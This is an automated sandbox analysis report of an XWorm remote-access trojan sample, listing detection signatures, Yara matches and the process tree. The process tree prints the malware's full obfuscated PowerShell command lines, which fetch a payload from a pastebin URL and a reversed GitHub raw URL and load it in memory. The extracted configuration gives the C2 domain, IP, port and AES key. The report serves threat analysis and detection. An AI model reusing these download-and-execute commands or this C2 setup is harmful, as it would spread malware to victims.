Edit tour

Windows Analysis Report
17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe

Overview

General Information

Sample name:	17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe
Analysis ID:	1561343
MD5:	993cbace6afacb6cd1017cd01b44a87a
SHA1:	1d94c0fc7c82998d5b1bdf9615fe009a39813239
SHA256:	e5a7528468aa8b685bd0f5fb99e7242e074c759f2cbf427108c0f2709f8a39b2
Tags:	base64-decodedexeuser-abuse_ch
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Connects to a pastebin service (likely for C&C)

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses dynamic DNS services

Uses ping.exe to check the status of other devices and networks

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to detect virtual machines (STR)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe (PID: 6636 cmdline: "C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe" MD5: 993CBACE6AFACB6CD1017CD01B44A87A)

wscript.exe (PID: 6864 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 6984 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?Hc?bgBn?GM?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bl?GE?YQBp?Hc?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?Z?Bj?Gg?cwBp?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bk?GM?a?Bz?Gk?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?Mg?x?DE?VgBP?E4?LwBu?Gk?YQBt?C8?cwBk?GE?ZQBo?C8?cwBm?GU?cg?v?GU?cgBp?GY?LwBh?Gw?b?Bp?HU?cQBu?GE?cgBy?GE?Yg?0?DI?M??y?G4?bwBp?H??bQBh?Gg?Yw?v?G0?bwBj?C4?d?Bu?GU?d?Bu?G8?YwBy?GU?cwB1?GI?dQBo?HQ?aQBn?C4?dwBh?HI?Lw?v?Do?cwBw?HQ?d?Bo?Cc?I??s?C??J?Bl?GE?YQBp?Hc?I??s?C??JwBp?Gc?ZgB4?EU?TQ?n?Cw?I??k?Go?dwBu?Gc?Yw?s?C??Jw?x?Cc?L??g?Cc?UgBv?GQ?YQ?n?C??KQ?p?Ds?';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs');powershell $Yolopolhggobek; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7012 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6320 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jwngc = '01' ;$eaaiw = 'C:\Users\user\AppData\Local\Temp\jglbwx.vbs' ;[Byte[]] $dchsi = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dchsi).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('4211VON/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $eaaiw , 'igfxEM', $jwngc, '1', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6684 cmdline: "C:\Windows\system32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

PING.EXE (PID: 6756 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

powershell.exe (PID: 4404 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text MD5: 04029E121A0CFA5991749937DD22A1D9)

wscript.exe (PID: 6872 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\mknrez.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 6960 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek; MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6236 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6624 cmdline: "C:\Windows\system32\cmd.exe" /c MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

PING.EXE (PID: 1712 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

powershell.exe (PID: 7024 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["saviloe24.duckdns.org", "154.216.17.204"], "Port": 7000, "Aes key": "111qqq", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6cd1:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6d6e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6e83:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6b43:$cnc4: POST / HTTP/1.1

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.2499444255.00000000006D2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000000.2499444255.00000000006D2000.00000002.00000001.01000000.00000003.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6ad1:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6b6e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6c83:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6943:$cnc4: POST / HTTP/1.1
00000000.00000002.4978889092.0000000002AE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe PID: 6636	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: powershell.exe PID: 6960	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x22817:$b2: ::FromBase64String( 0x24967:$b2: ::FromBase64String( 0x25704:$b2: ::FromBase64String( 0x26ef4:$b2: ::FromBase64String( 0x28f7a:$b2: ::FromBase64String( 0x29d7b:$b2: ::FromBase64String( 0x2ab17:$b2: ::FromBase64String( 0x2bb12:$b2: ::FromBase64String( 0x51fd7:$b2: ::FromBase64String( 0x52a49:$b2: ::FromBase64String( 0x5b9c0:$b2: ::FromBase64String( 0x5c432:$b2: ::FromBase64String( 0x5c532:$b2: ::FromBase64String( 0x5d804:$b2: ::FromBase64String( 0x661ac:$b2: ::FromBase64String( 0x6745c:$b2: ::FromBase64String( 0x681f8:$b2: ::FromBase64String( 0x6923d:$b2: ::FromBase64String( 0x6d5b1:$b2: ::FromBase64String( 0x6e1a9:$b2: ::FromBase64String( 0x706a7:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 6984	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1a3fa:$b2: ::FromBase64String( 0x1b1f4:$b2: ::FromBase64String( 0x1bf89:$b2: ::FromBase64String( 0x1d058:$b2: ::FromBase64String( 0x4a06a:$b2: ::FromBase64String( 0x4ac63:$b2: ::FromBase64String( 0x7c246:$b2: ::FromBase64String( 0x7dcb1:$b2: ::FromBase64String( 0x7e71f:$b2: ::FromBase64String( 0x88f4a:$b2: ::FromBase64String( 0x8b047:$b2: ::FromBase64String( 0xa3b66:$b2: ::FromBase64String( 0xa4de2:$b2: ::FromBase64String( 0xa5b77:$b2: ::FromBase64String( 0xa6b7a:$b2: ::FromBase64String( 0xa7aa4:$b2: ::FromBase64String( 0xb6816:$b2: ::FromBase64String( 0xb7610:$b2: ::FromBase64String( 0xb83a5:$b2: ::FromBase64String( 0xb93bb:$b2: ::FromBase64String( 0xd230d:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 6236	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x62127:$b2: ::FromBase64String( 0x62622:$b2: ::FromBase64String( 0x6bc6e:$b2: ::FromBase64String( 0x6bd06:$b2: ::FromBase64String( 0x6bd9d:$b2: ::FromBase64String( 0x84e43:$b2: ::FromBase64String( 0x8c37a:$b2: ::FromBase64String( 0x13355c:$b2: ::FromBase64String( 0x133925:$b2: ::FromBase64String( 0x16f32f:$b2: ::FromBase64String( 0x16f6f8:$b2: ::FromBase64String( 0x1741c9:$b2: ::FromBase64String( 0x174559:$b2: ::FromBase64String( 0x177ea2:$b2: ::FromBase64String( 0x1ac517:$b2: ::FromBase64String( 0x1ac8e4:$b2: ::FromBase64String( 0x1ac969:$b2: ::FromBase64String( 0x1b1d23:$b2: ::FromBase64String( 0x219bc0:$b2: ::FromBase64String( 0x219f89:$b2: ::FromBase64String( 0x2392ef:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 6320	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc8420:$b2: ::FromBase64String( 0xc87e8:$b2: ::FromBase64String( 0xc983c:$b2: ::FromBase64String( 0xe8ce2:$b2: ::FromBase64String( 0x13c39e:$b2: ::FromBase64String( 0x153a88:$b2: ::FromBase64String( 0x153e51:$b2: ::FromBase64String( 0x154d4e:$b2: ::FromBase64String( 0x1552ff:$b2: ::FromBase64String( 0x17ecb5:$b2: ::FromBase64String( 0x18688d:$b2: ::FromBase64String( 0x213c00:$b2: ::FromBase64String( 0x213fc8:$b2: ::FromBase64String( 0x233b1c:$b2: ::FromBase64String( 0x239550:$b2: ::FromBase64String( 0x239a8d:$b2: ::FromBase64String( 0x25357c:$b2: ::FromBase64String( 0x253614:$b2: ::FromBase64String( 0x2536c5:$b2: ::FromBase64String( 0x2541ef:$b2: ::FromBase64String( 0x254274:$b2: ::FromBase64String(
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe.6d0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.0.17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe.6d0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x6cd1:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x6d6e:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x6e83:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x6b43:$cnc4: POST / HTTP/1.1

Other

Source	Rule	Description	Author	Strings
amsi64_6236.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2b4:$b2: ::FromBase64String( 0xbc1f:$s1: -join 0x53cb:$s4: += 0x548d:$s4: += 0x96b4:$s4: += 0xb7d1:$s4: += 0xbabb:$s4: += 0xbc01:$s4: += 0xde19:$s4: += 0xde99:$s4: += 0xdf5f:$s4: += 0xdfdf:$s4: += 0xe1b5:$s4: += 0xe239:$s4: += 0xc302:$e4: Get-WmiObject 0xc4f1:$e4: Get-Process 0xc549:$e4: Start-Process
amsi64_6320.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x2b4:$b2: ::FromBase64String( 0xbc1e:$s1: -join 0x53ca:$s4: += 0x548c:$s4: += 0x96b3:$s4: += 0xb7d0:$s4: += 0xbaba:$s4: += 0xbc00:$s4: += 0xd399:$s4: += 0xd419:$s4: += 0xd4df:$s4: += 0xd55f:$s4: += 0xd735:$s4: += 0xd7b9:$s4: += 0xdf37:$e4: Get-WmiObject 0xe126:$e4: Get-Process 0xe17e:$e4: Start-Process

Sigma Signatures

System Summary

